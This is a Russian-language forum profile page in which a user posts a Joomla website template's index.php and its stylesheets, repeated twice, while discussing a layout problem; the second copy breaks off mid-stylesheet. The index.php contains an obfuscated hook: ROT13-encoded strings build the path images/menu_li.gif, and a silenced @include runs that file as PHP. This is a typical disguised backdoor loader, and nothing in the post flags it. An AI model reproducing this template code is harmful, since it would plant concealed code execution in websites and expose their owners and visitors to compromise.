-
Posts
7 -
Joined
-
Last visited
Content Type
Profiles
Forums
Calendar
Store
Everything posted by xakerson2012
-
Лучше всю страницу давайте или на крайний случай весь код со стилями и js http://clip2net.com/s/2rQY2 http://clip2net.com/s/2rR1q index.php <?php defined( '_JEXEC' ) or die( 'Restricted access' ); JPlugin::loadLanguage( 'tpl_SG1' ); define( 'path', dirname(__FILE__) ); $app = JFactory::getApplication(); $leftbar = 1; $rightbar = 1; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <jdoc:include type="head" /> <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" /> <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" /> <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" /> <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" /> <?php $menu_name = $this->params->get("menuName", "topmenu"); $menu_type = $this->params->get("menuType", "splitmenu"); require(path .DS."styleloader.php"); require(path .DS."utils.php"); ?> <?php if ($this->countModules('left') == 0) $leftbar = "0"; if ($this->countModules('right') == 0) $rightbar = "0"; if ($this->countModules('user1') == 1) $rightbar = "1"; if ($this->countModules('user2') == 1) $rightbar = "1"; ?> </head> <body> <div id="wrapper1"> <a name="up" id="up"></a> <!-- start header --> <div class="wrapper_fixed"> <div id="title_bkg"> <div id="title"> <jdoc:include type="modules" name="topen" style="raw" /> </div> <div id="search"> <jdoc:include type="modules" name="user4" /> </div> <div id="topnavi"><class="jdoc:include type="modules" name="user3"/> <!-- <jdoc:include type="modules" name="rawing"/> --> <?php if($mtype != "module") : echo $mainnav; else: ?> <jdoc:include type="modules" name="user3"/> <?php endif; ?> </div> </div> <div id="header"> <div id="header_text"> <jdoc:include type="modules" name="top" /> </div> </div> </div> </div> <!-- end top menu. --> <div id="wrapper2"> <div class="wrapper_fixed"> <div id="main"> <!-- start left column --> <div id="leftcol"> <jdoc:include type="modules" name="left" style="rounded" /> </div> <!-- end left column. --> <!-- start main content --> <div id="maincol<?php echo (2-$leftbar-$rightbar); ?>"> <div id="pathway"> <jdoc:include type="modules" name="breadcrumb" /> </div> <div id="maincol_body"> <jdoc:include type="component" /> <jdoc:include type="modules" name="footer" style="xhtml"/> <?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?> <?php endif; ?> </div> </div> <!-- end main content --> <!-- start right column --> <div id="rightcol"> <jdoc:include type="modules" name="user1" style="rounded" /> <jdoc:include type="modules" name="user2" style="rounded" /> <jdoc:include type="modules" name="right" style="rounded" /> </div> <!-- end right column --> </div> </div> </div> <div id="wrapper3"> <div class="wrapper_fixed"> <!-- copyright --> <div id="copyright"> <a href="mailto:mixail.tushinskij@mail.ru" target="_blank">Автор сайта: Тушинский Михаил Михайлович. Все права защищены © 2012 года.</a> </div> </div> </div> <jdoc:include type="modules" name="debug" /> </body> </html> templates /*****************************/ /*** Core html setup stuff ***/ /*****************************/ html, body { height: 1000px; margin: 10px auto 10px; padding: 0px; } form { margin: 0px; padding: 0px; vertical-align:middle; display:inline; } ul { margin: 0px; padding: 0px; list-style: none; } a,img{ outline:none; margin:0; padding:0; border:none; } p { margin-top: 0px; margin-bottom: 5px; text-indent: 30px;} .clear, .clr { clear: both; overflow:hidden; font-size:0; line-height:0; } .left { float: left; } .right { float: right; } h1, h2, h3, h4, h5, h6{ margin:10px 0px; line-height:normal; } h1 { font-size:22px;} h2 { font-size:20px;} h3 { font-size:18px;} h4 { font-size:14px;} h5 { font-size:12px;} h6 { font-size:11px;} a:link {text-decoration: none; font-weight: normal;} a:visited {text-decoration: none; font-weight: normal;} a:hover {text-decoration: underline; font-weight: normal; outline:none;} a:active, a:focus {text-decoration: underline; font-weight: normal; outline:none;} body {width:1000px; text-align: center;} body, td, div, p {font-family: Verdana, Trebuchet MS, sans-serif; font-size: 14px; line-height: 1.3em;} td, div, p, .contentpaneopen p{text-align: left;} .blog tr td { text-align:center; } .blog tr td td{ text-align:left; } /*****************************************/ /*** Template specific layout elements ***/ /*****************************************/ #wrapper1{ float: left; width:1000px; height:415px; text-align: center; border-radius:15px; } #wrapper2{ float: left; width:1000px; text-align: center; } #wrapper3{ float: left; width:100%; height:80px; text-align: center; border-radius:15px; } .wrapper_fixed{ width:1000px; margin:0px auto; padding:0px; position: relative; } #header{ float: left; width:1000px; height:250px; padding:0px; margin:0px; border-radius:15px; } #title_bkg{ float: left; width:1000px; height:165px; padding:0px; margin:0px; } #title { float: left; margin: 0px; padding: 0px; font-size: 36px; font-weight: normal; font-family: arial, sans-serif; text-align: left; position:absolute; top:25px; left:25px; } /**********************/ /*** Top Navigation ***/ /**********************/ #topnavi { float: left; width:1000px; height:60px; margin:0px; padding:0px; position:absolute; top:85px; left:0px; } #topnavi ul { float: left; width: auto; height:60px; margin: 0px 0px 0px 25px; padding: 0px 0px 0px 2px; list-style:none; } #topnavi ul li { float: left; height: 60px; margin: 0px; padding: 0px 2px 0px 0px; font-size: 16px; position: relative; display: block; } #topnavi ul li a { float:left; height: 60px; margin: 0px; cursor:pointer; } #topnavi ul li a span{ float:left; height: 60px; margin: 0px; padding: 0px 10px; line-height: 60px; font-weight: normal; text-decoration: none; display: block; } #topnavi ul li a:hover, #topnavi ul li a:focus { float:left; margin: 0px; cursor:pointer; text-decoration: none; } #topnavi ul li a:hover span, #topnavi ul li a:focus span{ float:left; margin: 0px; padding: 0px 10px; line-height: 60px; text-decoration: none; display: block; } #topnavi ul li#current a span{ margin: 0px; padding: 0px 10px; line-height: 60px; text-decoration: none; display: block; } /**********************/ /*** User 4 (Search menu) ***/ /**********************/ #search{ float: left; width:170px; height:30px; margin-top:15px; padding:0px; position:absolute; top:20px; right:10px; } #search div.search .inputbox{ width:130px; height:30px; margin:0px; padding:0px 0px 0px 10px; font-size:12px; line-height:30px; } /**********************/ /*** Top (Newsflash) ***/ /**********************/ #header_text { float: left; width: 595px; height: 180px; margin: 0px; padding: 0px; position:absolute; top:200px; left:35px; overflow: auto; } #header_text table.contentpaneopen { margin: 0px; padding: 0px; text-align:left; } /**********************/ /*** Main Body ***/ /**********************/ #main{ float:left; width:1000px; margin:0px; padding:10px 0px; } /**********************/ /*** Left Column ***/ /**********************/ #leftcol { float: left; width:220px; padding: 0px; margin: 0px; } #leftcol h3{ width:220px; height:40px; padding: 0px; margin: 0px; font-size: 16px; font-weight:normal; font-family: arial, sans-serif; line-height: 35px; text-align: center; } #leftcol div.module_menu , #leftcol div.module, #leftcol div.moduletable, #leftcol div.module_text { width:220px; padding: 0px; margin: 0px 0px 10px 0px; } #leftcol div.module_menu div div div, #leftcol div.module div div div, #leftcol div.moduletable div div div, #leftcol div.module_text div div div{ padding: 0px 0px 10px 0px; } /*Controls margins and paddings of side content */ #leftcol div.module div div div div, #leftcol div.module div div div p, #leftcol div.module_text div div div div {margin:0px; padding: 5px 15px;} #leftcol div.module_text div div div div div{margin:5px 0px 0px 0px; padding:0px;} #leftcol div.module_menu ul, #leftcol div.moduletable ul, #leftcol div.module ul {margin:0px 10px; padding: 10px 0px;} #leftcol div.module_menu ul ul, #leftcol div.moduletable ul ul, #leftcol div.module ul ul {margin:0px; padding: 0px;} #leftcol a:link, #leftcol a:visited {text-decoration: none;} #leftcol a:hover, #leftcol a:active {text-decoration: none;} /**********************/ /*** Right Column ***/ /**********************/ #rightcol { float: left; width:220px; padding: 0px; margin: 0px; } #rightcol h3{ width:220px; height:40px; padding: 0px; margin: 0px; font-size: 16px; font-weight:normal; font-family: arial, sans-serif; line-height: 35px; text-align: center; } #rightcol div.module_menu , #rightcol div.module, #rightcol div.moduletable, #rightcol div.module_text { width:220px; padding: 0px; margin: 0px 0px 10px 0px; } #rightcol div.module_menu div div div, #rightcol div.module div div div, #rightcol div.moduletable div div div, #rightcol div.module_text div div div{ padding: 0px 0px 10px 0px; } /*Controls margins and paddings of side content */ #rightcol div.module div div div div, #rightcol div.module div div div p, #rightcol div.module_text div div div div {margin:0px; padding: 5px 15px;} #rightcol div.module_text div div div div div{margin:5px 0px 0px 0px; padding:0px;} #rightcol div.module_menu ul, #rightcol div.moduletable ul, #rightcol div.module ul {margin:0px 10px; padding: 5px 0px; text-align:left;} #rightcol div.module_menu ul ul, #rightcol div.moduletable ul ul, #rightcol div.module ul ul {margin:0px; padding: 0px;} #rightcol div.module div div div div, #rightcol div.module div div div {text-align:center;} #rightcol a:link, #rightcol a:visited {text-decoration: none;} #rightcol a:hover, #rightcol a:active {text-decoration: none;} /******************************************************************/ /* Controls Link Icon appearance in side modules */ /******************************************************************/ #leftcol ul.menu li a, #leftcol ul.menu li ul li a, #rightcol ul.menu li a, #rightcol ul.menu li ul li a, #leftcol ul#mainlevel li a, #leftcol ul#mainlevel li ul li a, ul.mostread li a, ul.latestnews li a, .moduletable ul li a { display:block; padding:5px; margin:0px; list-style:none; } /**********************/ /*** Main Content Menu ***/ /**********************/ #maincol0 { float: left; width:530px; margin: 0px 15px 10px 15px; padding: 0px; } #maincol1 { float: left; width:750px; margin: 0px 15px 10px 15px; padding: 0px; } #maincol2 { float: left; width:970px; margin: 0px 15px 10px 15px; padding: 0px; } #maincol_body { float: left; width:100%; } #maincol_body li { padding:0px;} #maincol_body ul { margin: 0px; padding-left: 30px; list-style: square; } .componentheading { margin: 0px; padding: 0px; font-size: 24px; font-weight:normal; font-family: arial, sans-serif; } .contentheading {margin:0px; padding:0px; font-size: 18px;} .contentpaneopen h3 {font-size: 18px;} /*** Controls images in main content ***/ .contentpaneopen img {float:left; margin:5px; padding:0px;} .contentpaneopen {width:100%; padding:0px; margin: 0px;} td.buttonheading {padding:0px 2px;} #pathway { padding:0px; margin:10px 0px 20px 0px; text-align:left; font-size:12px; font-weight:bold; display:block; } .small, .createdate, .modifydate {font-size:12px; font-weight: normal;} .blog_more { margin-bottom:15px;} span.pagination span, span.pagination a {padding:3px; font-size:11px;} div .pagenavbar div{font-size:11px; text-align:center;} a.readon, a.readon:hover, a.readon:visited{ height:30px; padding-left:35px; line-height:30px; margin:10px 0px 0px 0px; display:block; } #maincol_body div.moduletable div{ width:100%; text-align: center; font-size:12px; padding:0; margin:0px auto; } span.article_separator {height:15px;} .article_column {padding-right:5px;} /**************************/ /*** Advertisement Menu ***/ /**************************/ .bannerheader {font-weight:bold; margin-bottom:10px;} .banneritem_text {padding: 4px; font-size: 12px;} .bannerfooter_text {padding: 4px; font-size: 12px;} .banneritem img { display: block; text-align:center; margin: 10px auto;} /*******************/ /*** Login Form ***/ /*******************/ .button {height:20px; cursor:pointer;}/***Controls button in login page***/ .inputbox {margin:0px; padding:0 0 0 2px; font-size:12px;}/***Controls inputs in login form on home page***/ form#form-login fieldset.input { border: none; margin: 0; padding:0px 10px; } form#form-login fieldset.input p#form-login-username, form#form-login fieldset.input p#form-login-password, form#form-login fieldset.input p#form-login-remember { margin: 5px 0px 5px 10px; padding:0px; } form#form-login fieldset.input input.button{margin: 0px 0px 0px 10px; padding:0px 5px;} /***Controls lower links in login form***/ form#form-login ul li { padding-left: 10px; } form#form-login ul li a {text-align: left; padding: 0px; font-size: 12px;} /*************/ /*** Polls ***/ /*************/ td.sectiontableheader {padding: 4px; font-weight: bold;} .pollstableborder {margin: 5px 0px 5px 0px;} td.sectiontableentry0, td.sectiontableentry1, td.sectiontableentry2 {padding: 3px;} table.poll thead td {text-align: left; padding-left:10px;} table.poll td {text-align: left;} /******************/ /*** Copyright ***/ /******************/ #copyright{ float:left; width:1000px; margin:0px; padding:20px 0px; font-size: 12px; text-align:center; } /* System Standard Messages */ #system-message { margin-bottom: 20px; } #system-message dd.message ul { background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;} /* System Error Messages */ #system-message dd.error ul { color: #c00; background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;} /* System Notice Messages */ #system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E; margin:0px; padding-left: 40px; text-indent:0px;} #syndicate{ float:left; padding-left: 25px; } grey /*****************************/ /*** Core html setup stuff ***/ /*****************************/ .button, .inputbox { border: 1px solid #bfbfbf; background:#dcdcdc; color:#2d2d2d; } .button:hover, .inputbox:hover { background:#c9c9c9; } a:link, a:visited {color: #4e76d5;} a:hover, a:active, a:focus {color: #0046ed;} body {background: #ececec;} body, td, div, p {color: #2d2d2d;} /*****************************************/ /*** Template specific layout elements ***/ /*****************************************/ #wrapper1 {background: url(../images/bkg_body_top.gif) top left repeat-x;} #wrapper2 {} #wrapper3 {background: #232323;} #header{background: url(../images/bkg_header.jpg) top left no-repeat;} #title_bkg { background: url(../images/bkg_title.jpg) top left no-repeat;} #title { color: #fff;} /**********************/ /*** Top Navigation ***/ /**********************/ #topnavi {background: url(../images/bkg_topnavi.gif) top left no-repeat;} #topnavi ul {background: url(../images/bkg_but_separator.gif) top left no-repeat;} #topnavi ul li {background: url(../images/bkg_but_separator.gif) top right no-repeat;} #topnavi ul li a {background:url(../images/bkg_but_l.gif) top left no-repeat;} #topnavi ul li a span{color: #e2ecf2; background:url(../images/bkg_but_r.gif) top right no-repeat;} #topnavi ul li a:hover, #topnavi li#current a {background:url(../images/bkg_but_l.gif) bottom left no-repeat;} #topnavi ul li a:hover span, #topnavi li#current a span{color: #000; background:url(../images/bkg_but_r.gif) bottom right no-repeat;} /**********************/ /*** User 4 (Search menu) ***/ /**********************/ #search { background: url(../images/bkg_search.jpg) top left no-repeat; } #search div.search .inputbox{ border: none; background: transparent; color:#c9c9c9; } /**********************/ /*** Top (Newsflash) ***/ /**********************/ #header_text table.contentpaneopen, #header_text table.contentpaneopen td, #header_text table.contentpaneopen td p { } #header_text table.contentpaneopen a { } /**********************/ /*** Main Body ***/ /**********************/ #main{} /**********************/ /*** Left Column ***/ /**********************/ #leftcol h3{ color: #fff; background: url(../images/bkg_leftheader.gif) top left no-repeat; } #leftcol div.module_menu div div, #leftcol div.module div div, #leftcol div.module_text div div{ background: transparent url(../images/bkg_leftmenu_top.gif) top left no-repeat; } #leftcol div.module_menu div div div, #leftcol div.module div div div, #leftcol div.module_text div div div{ background: transparent url(../images/bkg_leftmenu_bot.gif) bottom left no-repeat; } #leftcol div.module_menu div div div div, #leftcol div.module div div div div, #leftcol div.module_text div div div div {background: transparent;} #leftcol div.module_menu , #leftcol div.module, #leftcol div.moduletable, #leftcol div.module_text { background: transparent url(../images/bkg_leftmenu_mid.gif) top left repeat-y; } #leftcol a:link, #leftcol a:visited {color:#4e76d5;} #leftcol a:hover, #leftcol a:active {color:#0046ed;} /**********************/ /*** Right Column ***/ /**********************/ #rightcol h3{ color: #fff; background: url(../images/bkg_rightheader.gif) top left no-repeat; } #rightcol div.module_menu div div, #rightcol div.module div div, #rightcol div.module_text div div{ background: transparent url(../images/bkg_rightmenu_top.gif) top left no-repeat; } #rightcol div.module_menu div div div, #rightcol div.module div div div, #rightcol div.module_text div div div{ background: transparent url(../images/bkg_rightmenu_bot.gif) bottom left no-repeat; } #rightcol div.module_menu div div div div, #rightcol div.module div div div div, #rightcol div.module_text div div div div {background: transparent;} #rightcol div.module_menu , #rightcol div.module, #rightcol div.moduletable, #rightcol div.module_text { background: transparent url(../images/bkg_rightmenu_mid.gif) top left repeat-y; } #rightcol a:link, #rightcol a:visited {color:#4e76d5;} #rightcol a:hover, #rightcol a:active {color:#0046ed; text-decoration:underline;} /******************************************************************/ /* Controls Link Icon appearance in side modules */ /******************************************************************/ #leftcol ul.menu li a, #leftcol ul.menu li ul li a, #rightcol ul.menu li a, #rightcol ul.menu li ul li a, #leftcol ul#mainlevel li a, #leftcol ul#mainlevel li ul li a, ul.mostread li a, ul.latestnews li a, .moduletable ul li a { border-bottom: 1px solid #bfbfbf; } #leftcol ul.menu li a:hover, #leftcol ul.menu li#current a, #leftcol ul.menu li ul li a:hover, #rightcol ul.menu li a:hover, #rightcol ul.menu li#current a, #rightcol ul.menu li ul li a:hover, #leftcol ul#mainlevel li a:hover, #leftcol ul#mainlevel li a#active_menu, #leftcol ul#mainlevel li ul li a:hover, ul.mostread li a:hover, ul.latestnews li a:hover, .moduletable ul li a:hover { color: #0046ed; background: #d6d6d6; border-bottom: 1px solid #bfbfbf; } /**********************/ /*** Main Content Menu ***/ /**********************/ .componentheading {color: #303030; text-align:center; } .contentheading {color: #000;} .contentpaneopen h3 {color: #000;} #pathway {color:#3f3f3f;} .small, .createdate, .modifydate {color:#6f84a8;} a.readon, a.readon:hover, a.readon:visited{ background: url(../images/bkg_readmore.png) top left no-repeat; } /**************************/ /*** Advertisement Menu ***/ /**************************/ /*******************/ /*** Login Form ***/ /*******************/ /*************/ /*** Polls ***/ /*************/ td.sectiontableheader { border-right: 1px solid #ececec; color: #2d2d2d; background: #fefefe; } /******************/ /*** Copyright ***/ /******************/ #copyright { color:#fff; } #copyright a:link, #copyright a:active, #copyright a:visited { color:#7197ef; } http://clip2net.com/s/2rNuh
-
Лучше всю страницу давайте или на крайний случай весь код со стилями и js index.php <?php defined( '_JEXEC' ) or die( 'Restricted access' ); JPlugin::loadLanguage( 'tpl_SG1' ); define( 'path', dirname(__FILE__) ); $app = JFactory::getApplication(); $leftbar = 1; $rightbar = 1; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <jdoc:include type="head" /> <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" /> <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" /> <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" /> <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" /> <?php $menu_name = $this->params->get("menuName", "topmenu"); $menu_type = $this->params->get("menuType", "splitmenu"); require(path .DS."styleloader.php"); require(path .DS."utils.php"); ?> <?php if ($this->countModules('left') == 0) $leftbar = "0"; if ($this->countModules('right') == 0) $rightbar = "0"; if ($this->countModules('user1') == 1) $rightbar = "1"; if ($this->countModules('user2') == 1) $rightbar = "1"; ?> </head> <body> <div id="wrapper1"> <a name="up" id="up"></a> <!-- start header --> <div class="wrapper_fixed"> <div id="title_bkg"> <div id="title"> <jdoc:include type="modules" name="topen" style="raw" /> </div> <div id="search"> <jdoc:include type="modules" name="user4" /> </div> <div id="topnavi"><class="jdoc:include type="modules" name="user3"/> <!-- <jdoc:include type="modules" name="rawing"/> --> <?php if($mtype != "module") : echo $mainnav; else: ?> <jdoc:include type="modules" name="user3"/> <?php endif; ?> </div> </div> <div id="header"> <div id="header_text"> <jdoc:include type="modules" name="top" /> </div> </div> </div> </div> <!-- end top menu. --> <div id="wrapper2"> <div class="wrapper_fixed"> <div id="main"> <!-- start left column --> <div id="leftcol"> <jdoc:include type="modules" name="left" style="rounded" /> </div> <!-- end left column. --> <!-- start main content --> <div id="maincol<?php echo (2-$leftbar-$rightbar); ?>"> <div id="pathway"> <jdoc:include type="modules" name="breadcrumb" /> </div> <div id="maincol_body"> <jdoc:include type="component" /> <jdoc:include type="modules" name="footer" style="xhtml"/> <?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?> <?php endif; ?> </div> </div> <!-- end main content --> <!-- start right column --> <div id="rightcol"> <jdoc:include type="modules" name="user1" style="rounded" /> <jdoc:include type="modules" name="user2" style="rounded" /> <jdoc:include type="modules" name="right" style="rounded" /> </div> <!-- end right column --> </div> </div> </div> <div id="wrapper3"> <div class="wrapper_fixed"> <!-- copyright --> <div id="copyright"> <a href="mailto:mixail.tushinskij@mail.ru" target="_blank">Автор сайта: Тушинский Михаил Михайлович. Все права защищены © 2012 года.</a> </div> </div> </div> <jdoc:include type="modules" name="debug" /> </body> </html> templates /*****************************/ /*** Core html setup stuff ***/ /*****************************/ html, body { height: 1000px; margin: 10px auto 10px; padding: 0px; } form { margin: 0px; padding: 0px; vertical-align:middle; display:inline; } ul { margin: 0px; padding: 0px; list-style: none; } a,img{ outline:none; margin:0; padding:0; border:none; } p { margin-top: 0px; margin-bottom: 5px; text-indent: 30px;} .clear, .clr { clear: both; overflow:hidden; font-size:0; line-height:0; } .left { float: left; } .right { float: right; } h1, h2, h3, h4, h5, h6{ margin:10px 0px; line-height:normal; } h1 { font-size:22px;} h2 { font-size:20px;} h3 { font-size:18px;} h4 { font-size:14px;} h5 { font-size:12px;} h6 { font-size:11px;} a:link {text-decoration: none; font-weight: normal;} a:visited {text-decoration: none; font-weight: normal;} a:hover {text-decoration: underline; font-weight: normal; outline:none;} a:active, a:focus {text-decoration: underline; font-weight: normal; outline:none;} body {width:1000px; text-align: center;} body, td, div, p {font-family: Verdana, Trebuchet MS, sans-serif; font-size: 14px; line-height: 1.3em;} td, div, p, .contentpaneopen p{text-align: left;} .blog tr td { text-align:center; } .blog tr td td{ text-align:left; } /*****************************************/ /*** Template specific layout elements ***/ /*****************************************/ #wrapper1{ float: left; width:1000px; height:415px; text-align: center; border-radius:15px; } #wrapper2{ float: left; width:1000px; text-align: center; } #wrapper3{ float: left; width:100%; height:80px; text-align: center; border-radius:15px; } .wrapper_fixed{ width:1000px; margin:0px auto; padding:0px; position: relative; } #header{ float: left; width:1000px; height:250px; padding:0px; margin:0px; border-radius:15px; } #title_bkg{ float: left; width:1000px; height:165px; padding:0px; margin:0px; } #title { float: left; margin: 0px; padding: 0px; font-size: 36px; font-weight: normal; font-family: arial, sans-serif; text-align: left; position:absolute; top:25px; left:25px; } /**********************/ /*** Top Navigation ***/ /**********************/ #topnavi { float: left; width:1000px; height:60px; margin:0px; padding:0px; position:absolute; top:85px; left:0px; } #topnavi ul { float: left; width: auto; height:60px; margin: 0px 0px 0px 25px; padding: 0px 0px 0px 2px; list-style:none; } #topnavi ul li { float: left; height: 60px; margin: 0px; padding: 0px 2px 0px 0px; font-size: 16px; position: relative; display: block; } #topnavi ul li a { float:left; height: 60px; margin: 0px; cursor:pointer; } #topnavi ul li a span{ float:left; height: 60px; margin: 0px; padding: 0px 10px; line-height: 60px; font-weight: normal; text-decoration: none; display: block; } #topnavi ul li a:hover, #topnavi ul li a:focus { float:left; margin: 0px; cursor:pointer; text-decoration: none; } #topnavi ul li a:hover span, #topnavi ul li a:focus span{ float:left; margin: 0px; padding: 0px 10px; line-height: 60px; text-decoration: none; display: block; } #topnavi ul li#current a span{ margin: 0px; padding: 0px 10px; line-height: 60px; text-decoration: none; display: block; } /**********************/ /*** User 4 (Search menu) ***/ /**********************/ #search{ float: left; width:170px; height:30px; margin-top:15px; padding:0px; position:absolute; top:20px; right:10px; } #search div.search .inputbox{ width:130px; height:30px; margin:0px; padding:0px 0px 0px 10px; font-size:12px; line-height:30px; } /**********************/ /*** Top (Newsflash) ***/ /**********************/ #header_text { float: left; width: 595px; height: 180px; margin: 0px; padding: 0px; position:absolute; top:200px; left:35px; overflow: auto; } #header_text table.contentpaneopen { margin: 0px; padding: 0px; text-align:left; } /**********************/ /*** Main Body ***/ /**********************/ #main{ float:left; width:1000px; margin:0px; padding:10px 0px; } /**********************/ /*** Left Column ***/ /**********************/ #leftcol { float: left; width:220px; padding: 0px; margin: 0px; } #leftcol h3{ width:220px; height:40px; padding: 0px; margin: 0px; font-size: 16px; font-weight:normal; font-family: arial, sans-serif; line-height: 35px; text-align: center; } #leftcol div.module_menu , #leftcol div.module, #leftcol div.moduletable, #leftcol div.module_text { width:220px; padding: 0px; margin: 0px 0px 10px 0px; } #leftcol div.module_menu div div div, #leftcol div.module div div div, #leftcol div.moduletable div div div, #leftcol div.module_text div div div{ padding: 0px 0px 10px 0px; } /*Controls margins and paddings of side content */ #leftcol div.module div div div div, #leftcol div.module div div div p, #leftcol div.module_text div div div div {margin:0px; padding: 5px 15px;} #leftcol div.module_text div div div div div{margin:5px 0px 0px 0px; padding:0px;} #leftcol div.module_menu ul, #leftcol div.moduletable ul, #leftcol div.module ul {margin:0px 10px; padding: 10px 0px;} #leftcol div.module_menu ul ul, #leftcol div.moduletable ul ul, #leftcol div.module ul ul {margin:0px; padding: 0px;} #leftcol a:link, #leftcol a:visited {text-decoration: none;} #leftcol a:hover, #leftcol a:active {text-decoration: none;} /**********************/ /*** Right Column ***/ /**********************/ #rightcol { float: left; width:220px; padding: 0px; margin: 0px; } #rightcol h3{ width:220px; height:40px; padding: 0px; margin: 0px; font-size: 16px; font-weight:normal; font-family: arial, sans-serif; line-height: 35px; text-align: center; } #rightcol div.module_menu , #rightcol div.module, #rightcol div.moduletable, #rightcol div.module_text { width:220px; padding: 0px; margin: 0px 0px 10px 0px; } #rightcol div.module_menu div div div, #rightcol div.module div div div, #rightcol div.moduletable div div div, #rightcol div.module_text div div div{ padding: 0px 0px 10px 0px; } /*Controls margins and paddings of side content */ #rightcol div.module div div div div, #rightcol div.module div div div p, #rightcol div.module_text div div div div {margin:0px; padding: 5px 15px;} #rightcol div.module_text div div div div div{margin:5px 0px 0px 0px; padding:0px;} #rightcol div.module_menu ul, #rightcol div.moduletable ul, #rightcol div.module ul {margin:0px 10px; padding: 5px 0px; text-align:left;} #rightcol div.module_menu ul ul, #rightcol div.moduletable ul ul, #rightcol div.module ul ul {margin:0px; padding: 0px;} #rightcol div.module div div div div, #rightcol div.module div div div {text-align:center;} #rightcol a:link, #rightcol a:visited {text-decoration: none;} #rightcol a:hover, #rightcol a:active {text-decoration: none;} /******************************************************************/ /* Controls Link Icon appearance in side modules */ /******************************************************************/ #leftcol ul.menu li a, #leftcol ul.menu li ul li a, #rightcol ul.menu li a, #rightcol ul.menu li ul li a, #leftcol ul#mainlevel li a, #leftcol ul#mainlevel li ul li a, ul.mostread li a, ul.latestnews li a, .moduletable ul li a { display:block; padding:5px; margin:0px; list-style:none; } /**********************/ /*** Main Content Menu ***/ /**********************/ #maincol0 { float: left; width:530px; margin: 0px 15px 10px 15px; padding: 0px; } #maincol1 { float: left; width:750px; margin: 0px 15px 10px 15px; padding: 0px; } #maincol2 { float: left; width:970px; margin: 0px 15px 10px 15px; padding: 0px; } #maincol_body { float: left; width:100%; } #maincol_body li { padding:0px;} #maincol_body ul { margin: 0px; padding-left: 30px; list-style: square; } .componentheading { margin: 0px; padding: 0px; font-size: 24px; font-weight:normal; font-family: arial, sans-serif; } .contentheading {margin:0px; padding:0px; font-size: 18px;} .contentpaneopen h3 {font-size: 18px;} /*** Controls images in main content ***/ .contentpaneopen img {float:left; margin:5px; padding:0px;} .contentpaneopen {width:100%; padding:0px; margin: 0px;} td.buttonheading {padding:0px 2px;} #pathway { padding:0px; margin:10px 0px 20px 0px; text-align:left; font-size:12px; font-weight:bold; display:block; } .small, .createdate, .modifydate {font-size:12px; font-weight: normal;} .blog_more { margin-bottom:15px;} span.pagination span, span.pagination a {padding:3px; font-size:11px;} div .pagenavbar div{font-size:11px; text-align:center;} a.readon, a.readon:hover, a.readon:visited{ height:30px; padding-left:35px; line-height:30px; margin:10px 0px 0px 0px; display:block; } #maincol_body div.moduletable div{ width:100%; text-align: center; font-size:12px; padding:0; margin:0px auto; } span.article_separator {height:15px;} .article_column {padding-right:5px;} /**************************/ /*** Advertisement Menu ***/ /**************************/ .bannerheader {font-weight:bold; margin-bottom:10px;} .banneritem_text {padding: 4px; font-size: 12px;} .bannerfooter_text {padding: 4px; font-size: 12px;} .banneritem img { display: block; text-align:center; margin: 10px auto;} /*******************/ /*** Login Form ***/ /*******************/ .button {height:20px; cursor:pointer;}/***Controls button in login page***/ .inputbox {margin:0px; padding:0 0 0 2px; font-size:12px;}/***Controls inputs in login form on home page***/ form#form-login fieldset.input { border: none; margin: 0; padding:0px 10px; } form#form-login fieldset.input p#form-login-username, form#form-login fieldset.input p#form-login-password, form#form-login fieldset.input p#form-login-remember { margin: 5px 0px 5px 10px; padding:0px; } form#form-login fieldset.input input.button{margin: 0px 0px 0px 10px; padding:0px 5px;} /***Controls lower links in login form***/ form#form-login ul li { padding-left: 10px; } form#form-login ul li a {text-align: left; padding: 0px; font-size: 12px;} /*************/ /*** Polls ***/ /*************/ td.sectiontableheader {padding: 4px; font-weight: bold;} .pollstableborder {margin: 5px 0px 5px 0px;} td.sectiontableentry0, td.sectiontableentry1, td.sectiontableentry2 {padding: 3px;} table.poll thead td {text-align: left; padding-left:10px;} table.poll td {text-align: left;} /******************/ /*** Copyright ***/ /******************/ #copyright{ float:left; width:1000px; margin:0px; padding:20px 0px; font-size: 12px; text-align:center; } /* System Standard Messages */ #system-message { 